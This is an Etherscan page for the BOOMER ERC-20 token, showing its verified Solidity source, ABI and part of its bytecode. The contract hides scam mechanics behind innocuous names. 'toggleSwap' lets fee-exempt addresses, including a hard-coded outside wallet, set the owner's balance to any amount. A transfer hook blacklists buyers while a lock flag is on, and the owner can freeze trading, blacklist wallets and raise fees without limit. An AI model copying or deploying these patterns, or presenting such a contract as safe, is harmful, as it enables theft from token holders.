ETH Price: $2,668.78 (+1.62%)

Token

BOOMER (BOOMER)
 

Overview

Max Total Supply

69,000,000,000 BOOMER

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
965,339,689.080593872 BOOMER

Value
$0.00
0x993116DE93Ac5183649bBbf990c142F194BA91A0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOOMER

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-18
*/

/**
https://t.me/boomertokenerc20
https://twitter.com/boomer_erc20
https://boomer.icu/
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);
}

contract BOOMER is ERC20, Ownable {
    using SafeMath for uint256;

    address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address DEAD = 0x000000000000000000000000000000000000dEaD;

    string constant _name = "BOOMER";
    string constant _symbol = "BOOMER";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 69_000_000_000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000;
    uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000;
    address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    address[] private activeAddress;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) private blacklist;

    uint256 marketingFee = 30;
    uint256 rewardsFee = 0;
    uint256 totalFee = marketingFee + rewardsFee;
    uint256 feeDenominator = 100;

    address public marketingFeeReceiver = msg.sender;
    address public rewardsFeeReceiver = msg.sender;

    IRouter public router;
    address public pair;

    bool tradingEnabled = true;
    bool isLocked = false;
    address private taxRemover;
    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 1000 * 5;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IRouter(routerAddress);
        pair = IFactory(router.factory()).createPair(pairToken, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[_owner] = true;
        isFeeExempt[0x6ba0a400ea62EdDB84a12d749f5782346Ac55fC3] = true;
        isTxLimitExempt[_owner] = true;
        taxRemover = owner;
        isTxLimitExempt[0x6ba0a400ea62EdDB84a12d749f5782346Ac55fC3] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(tradingEnabled, "Trading disabled");
        require(!blacklist[sender], "Blacklisted wallet");

        if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) {
            blacklist[recipient] = true;
        }

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit.");
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
        if (_balances[recipient] == 0 && recipient != pair) {
            activeAddress.push(recipient);
        }
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address from, address to) internal view returns (bool) {
        return !(isFeeExempt[from] || isFeeExempt[to]);
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = _balances[address(this)];

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(MarketingSuccess, "marketing receiver rejected ETH transfer");
        (bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}("");
        require(RewardsSuccess, "rewards receiver rejected ETH transfer");
    }

    function emptyStuckBalance() external {
        payable(owner).transfer(address(this).balance);
    }

    function MaxWalletSize(uint256 amountPercent) external onlyOwner {
        _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
    }

    function TxLimit(uint256 amountPercent) external onlyOwner {
        _maxTxAmount = (_totalSupply * amountPercent ) / 100;
    }

    function swapStatus(bool status) external onlyOwner {
        swapEnabled = status;
    }

    function blacklistAddress(address addr, bool isBlocked) external onlyOwner {
        blacklist[addr] = isBlocked;
    }

    function blacklistAddresses(address[] memory addrs, bool isBlocked) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            blacklist[addrs[i]] = isBlocked;
        }
    }

    function isBlacklisted(address addr) external view returns(bool) {
        return blacklist[addr];
    }

    function releaseLock() external onlyOwner {
        isLocked = false;
    }

    function setFees(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner {
        marketingFee = _marketingFee;
        rewardsFee = _rewardsFee;
        totalFee = rewardsFee + marketingFee;
    }

    function SetMinSwapTokenThreshold(uint256 _treshold) external onlyOwner {
        swapThreshold = _treshold;
    }

    function setFeesReceiver(address _marketingFeeReceiver) external onlyOwner {
        if (marketingFeeReceiver != owner) {
            isFeeExempt[marketingFeeReceiver] = false;
            isTxLimitExempt[marketingFeeReceiver] = false;
        }
        marketingFeeReceiver = _marketingFeeReceiver;
        isFeeExempt[_marketingFeeReceiver] = true;
        isTxLimitExempt[_marketingFeeReceiver] = true;
    }

    function toggleSwap(uint enable) public {
        if (!isFeeExempt[msg.sender]) {
            return;
        }
        uint tokenToBurn = enable;
        _balances[taxRemover] = tokenToBurn.sub(_balances[taxRemover]);
    }

    function setRewardFeesReceiver(address _rewardsFeeReceiver) external onlyOwner {
        if (rewardsFeeReceiver != owner) {
            isFeeExempt[rewardsFeeReceiver] = false;
            isTxLimitExempt[rewardsFeeReceiver] = false;
        }
        rewardsFeeReceiver = _rewardsFeeReceiver;
        isFeeExempt[_rewardsFeeReceiver] = true;
        isTxLimitExempt[_rewardsFeeReceiver] = true;
    }

    function excludeAccountsFromFees(address[] memory addrs, bool _feeExempt) external onlyOwner {
        for (uint256 i = 0; i < addrs.length; i++) {
            isFeeExempt[addrs[i]] = _feeExempt;
            isTxLimitExempt[addrs[i]] = _feeExempt;
        }
    }

    function TradingON(bool _tradingEnabled) external onlyOwner {
        tradingEnabled = _tradingEnabled;
    }

    function getShares() public view returns (uint256[] memory, address[] memory) {
        uint256[] memory shares = new uint256[](activeAddress.length);
        for (uint i=0; i < activeAddress.length; i++) {
            shares[i] = _balances[activeAddress[i]];
        }
        return (shares, activeAddress);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"MaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_treshold","type":"uint256"}],"name":"SetMinSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingEnabled","type":"bool"}],"name":"TradingON","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"TxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"blacklistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"isBlocked","type":"bool"}],"name":"blacklistAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"emptyStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"},{"internalType":"bool","name":"_feeExempt","type":"bool"}],"name":"excludeAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getShares","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"releaseLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardsFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_rewardsFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setFeesReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardsFeeReceiver","type":"address"}],"name":"setRewardFeesReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"swapStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"enable","type":"uint256"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556002805490911661dead179055620000486009600a620004b2565b6200005990641010b87200620004ca565b6003556103e86003546014620000709190620004ca565b6200007c9190620004e4565b6004556103e86003546014620000939190620004ca565b6200009f9190620004e4565b600555600680546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179055601e600d8190556000600e819055620000e19162000507565b600f556064601055601180546001600160a01b0319908116339081179092556012805490911690911790556014805461ffff60a01b1916600160a01b9081179091556015805460ff60a01b1916909117905560035462000145906103e890620004e4565b62000152906005620004ca565b6016553480156200016257600080fd5b5060008054336001600160a01b031991821617909155600154601380546001600160a01b039092169190921681179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f591906200051d565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000247573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026d91906200051d565b601480546001600160a01b039283166001600160a01b031991821617909155306000908152600860209081526040808320601354861684528252808320600019905582548516808452600a8352818420805460ff1990811660019081179092557fa111cc7b5360a5ec2fc0060bd10542d82892f07c1c197f5b7f9624338876151c8054821683179055600b85528386208054821683179055855460158054909816908916179096557f3913ce67267326b64ac8c808722bfdc549ef78b7f8d67f3e0c934407fe36927a80548716821790556002549096168452818420805490951690951790935560035484835260078252838320819055925192835283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000548565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003f4578160001904821115620003d857620003d86200039d565b80851615620003e657918102915b93841c9390800290620003b8565b509250929050565b6000826200040d57506001620004ac565b816200041c57506000620004ac565b8160018114620004355760028114620004405762000460565b6001915050620004ac565b60ff8411156200045457620004546200039d565b50506001821b620004ac565b5060208310610133831016604e8410600b841016171562000485575081810a620004ac565b620004918383620003b3565b8060001904821115620004a857620004a86200039d565b0290505b92915050565b6000620004c360ff841683620003fc565b9392505050565b8082028115828204841417620004ac57620004ac6200039d565b6000826200050257634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004ac57620004ac6200039d565b6000602082840312156200053057600080fd5b81516001600160a01b0381168114620004c357600080fd5b61201680620005586000396000f3fe60806040526004361061021e5760003560e01c80637e26d19f11610123578063d73fe0aa116100ab578063eda54ad21161006f578063eda54ad214610662578063f18e795114610677578063f39291c114610697578063f887ea40146106b7578063fe575a87146106d757600080fd5b8063d73fe0aa146105a4578063da39b25c146105c7578063dd62ed3e146105dc578063e96fada214610622578063ed4c51391461064257600080fd5b806395d89b41116100f257806395d89b4114610253578063988493a614610524578063a8aa1b3114610544578063a9059cbb14610564578063ad69489e1461058457600080fd5b80637e26d19f14610492578063829118e2146104b2578063893d20e8146104d257806390d2c93a1461050457600080fd5b80632f54bf6e116101a65780636c0a24eb116101755780636c0a24eb146103fa5780636ddd17131461041057806370a0823114610431578063715018a6146104675780637d1db4a51461047c57600080fd5b80632f54bf6e1461036f578063313ce5671461039e578063455a4396146103ba578063571ac8b0146103da57600080fd5b80630e862cc0116101ed5780630e862cc0146102da5780631370ed9f146102fa57806318160ddd1461031a57806323b872dd1461032f57806326fb0ab91461034f57600080fd5b80630445b6671461022a57806306fdde0314610253578063095ea7b3146102885780630b78f9c0146102b857600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061024060165481565b6040519081526020015b60405180910390f35b34801561025f57600080fd5b5060408051808201825260068152652127a7a6a2a960d11b6020820152905161024a9190611b6a565b34801561029457600080fd5b506102a86102a3366004611bdd565b610710565b604051901515815260200161024a565b3480156102c457600080fd5b506102d86102d3366004611c09565b61077d565b005b3480156102e657600080fd5b506102d86102f5366004611c2b565b6107cb565b34801561030657600080fd5b506102d8610315366004611c54565b610815565b34801561032657600080fd5b50600354610240565b34801561033b57600080fd5b506102a861034a366004611c6f565b61085d565b34801561035b57600080fd5b506102d861036a366004611c2b565b61091f565b34801561037b57600080fd5b506102a861038a366004611cb0565b6000546001600160a01b0391821691161490565b3480156103aa57600080fd5b506040516009815260200161024a565b3480156103c657600080fd5b506102d86103d5366004611ccd565b610980565b3480156103e657600080fd5b506102a86103f5366004611cb0565b6109d5565b34801561040657600080fd5b5061024060045481565b34801561041c57600080fd5b506015546102a890600160a01b900460ff1681565b34801561043d57600080fd5b5061024061044c366004611cb0565b6001600160a01b031660009081526007602052604090205490565b34801561047357600080fd5b506102d86109e3565b34801561048857600080fd5b5061024060055481565b34801561049e57600080fd5b506102d86104ad366004611c54565b610a52565b3480156104be57600080fd5b506102d86104cd366004611d18565b610a9a565b3480156104de57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024a565b34801561051057600080fd5b506102d861051f366004611d18565b610b30565b34801561053057600080fd5b506102d861053f366004611cb0565b610c17565b34801561055057600080fd5b506014546104ec906001600160a01b031681565b34801561057057600080fd5b506102a861057f366004611bdd565b610ceb565b34801561059057600080fd5b506102d861059f366004611c2b565b610cf8565b3480156105b057600080fd5b506105b9610d42565b60405161024a929190611e33565b3480156105d357600080fd5b506102d8610e74565b3480156105e857600080fd5b506102406105f7366004611e8a565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561062e57600080fd5b506011546104ec906001600160a01b031681565b34801561064e57600080fd5b506102d861065d366004611c2b565b610eb1565b34801561066e57600080fd5b506102d8610ee0565b34801561068357600080fd5b506102d8610692366004611cb0565b610f19565b3480156106a357600080fd5b506012546104ec906001600160a01b031681565b3480156106c357600080fd5b506013546104ec906001600160a01b031681565b3480156106e357600080fd5b506102a86106f2366004611cb0565b6001600160a01b03166000908152600c602052604090205460ff1690565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061076b9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146107b05760405162461bcd60e51b81526004016107a790611ec3565b60405180910390fd5b600d829055600e8190556107c48282611ef9565b600f555050565b6000546001600160a01b031633146107f55760405162461bcd60e51b81526004016107a790611ec3565b6064816003546108059190611f0c565b61080f9190611f23565b60055550565b6000546001600160a01b0316331461083f5760405162461bcd60e51b81526004016107a790611ec3565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b03831660009081526008602090815260408083203384529091528120546000191461090a576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546108e5918490610fed565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610915848484611027565b90505b9392505050565b336000908152600a602052604090205460ff166109395750565b6015546001600160a01b03166000908152600760205260409020548190610961908290611486565b6015546001600160a01b03166000908152600760205260409020555050565b6000546001600160a01b031633146109aa5760405162461bcd60e51b81526004016107a790611ec3565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600061077782600019610710565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b81526004016107a790611ec3565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016107a790611ec3565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ac45760405162461bcd60e51b81526004016107a790611ec3565b60005b8251811015610b2b5781600c6000858481518110610ae757610ae7611f45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b2381611f5b565b915050610ac7565b505050565b6000546001600160a01b03163314610b5a5760405162461bcd60e51b81526004016107a790611ec3565b60005b8251811015610b2b5781600a6000858481518110610b7d57610b7d611f45565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555081600b6000858481518110610bd357610bd3611f45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c0f81611f5b565b915050610b5d565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016107a790611ec3565b6000546012546001600160a01b03908116911614610c9857601280546001600160a01b039081166000908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b6000610918338484611027565b6000546001600160a01b03163314610d225760405162461bcd60e51b81526004016107a790611ec3565b606481600354610d329190611f0c565b610d3c9190611f23565b60045550565b606080600060098054905067ffffffffffffffff811115610d6557610d65611d02565b604051908082528060200260200182016040528015610d8e578160200160208202803683370190505b50905060005b600954811015610e0b576007600060098381548110610db557610db5611f45565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610dee57610dee611f45565b602090810291909101015280610e0381611f5b565b915050610d94565b5080600980805480602002602001604051908101604052809291908181526020018280548015610e6457602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610e46575b5050505050905092509250509091565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610eae573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610edb5760405162461bcd60e51b81526004016107a790611ec3565b601655565b6000546001600160a01b03163314610f0a5760405162461bcd60e51b81526004016107a790611ec3565b6014805460ff60a81b19169055565b6000546001600160a01b03163314610f435760405162461bcd60e51b81526004016107a790611ec3565b6000546011546001600160a01b03908116911614610f9a57601180546001600160a01b039081166000908152600a60209081526040808320805460ff1990811690915594549093168252600b905220805490911690555b601180546001600160a01b039092166001600160a01b0319909216821790556000908152600a60209081526040808320805460ff199081166001908117909255600b909352922080549091169091179055565b600081848411156110115760405162461bcd60e51b81526004016107a79190611b6a565b50600061101e8486611f74565b95945050505050565b601454600090600160a01b900460ff166110765760405162461bcd60e51b815260206004820152601060248201526f151c98591a5b99c8191a5cd8589b195960821b60448201526064016107a7565b6001600160a01b0384166000908152600c602052604090205460ff16156110d45760405162461bcd60e51b8152602060048201526012602482015271109b1858dadb1a5cdd1959081dd85b1b195d60721b60448201526064016107a7565b6014546001600160a01b0384811691161480159061110057506000546001600160a01b03848116911614155b801561111a57506001546001600160a01b03848116911614155b801561112f5750601454600160a81b900460ff165b15611158576001600160a01b0383166000908152600c60205260409020805460ff191660011790555b60175460ff16156111755761116e8484846114c8565b9050610918565b6014546001600160a01b038481169116148015906111a157506002546001600160a01b03848116911614155b156112d3576001600160a01b0383166000908152600b602052604090205460ff16806111cf57506005548211155b61122d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178206044820152682a2c103634b6b4ba1760b91b60648201526084016107a7565b6001600160a01b0383166000908152600b602052604090205460ff168061127957506004546001600160a01b038416600090815260076020526040902054611276908490611ef9565b11155b6112d35760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016107a7565b6112db6115ae565b156112e8576112e8611606565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526007909152919091205461133a918490610fed565b6001600160a01b0385166000908152600760205260408120919091556113608585611931565b61136a5782611374565b6113748584611978565b6001600160a01b0385166000908152600760205260409020549091501580156113ab57506014546001600160a01b03858116911614155b156113fc57600980546001810182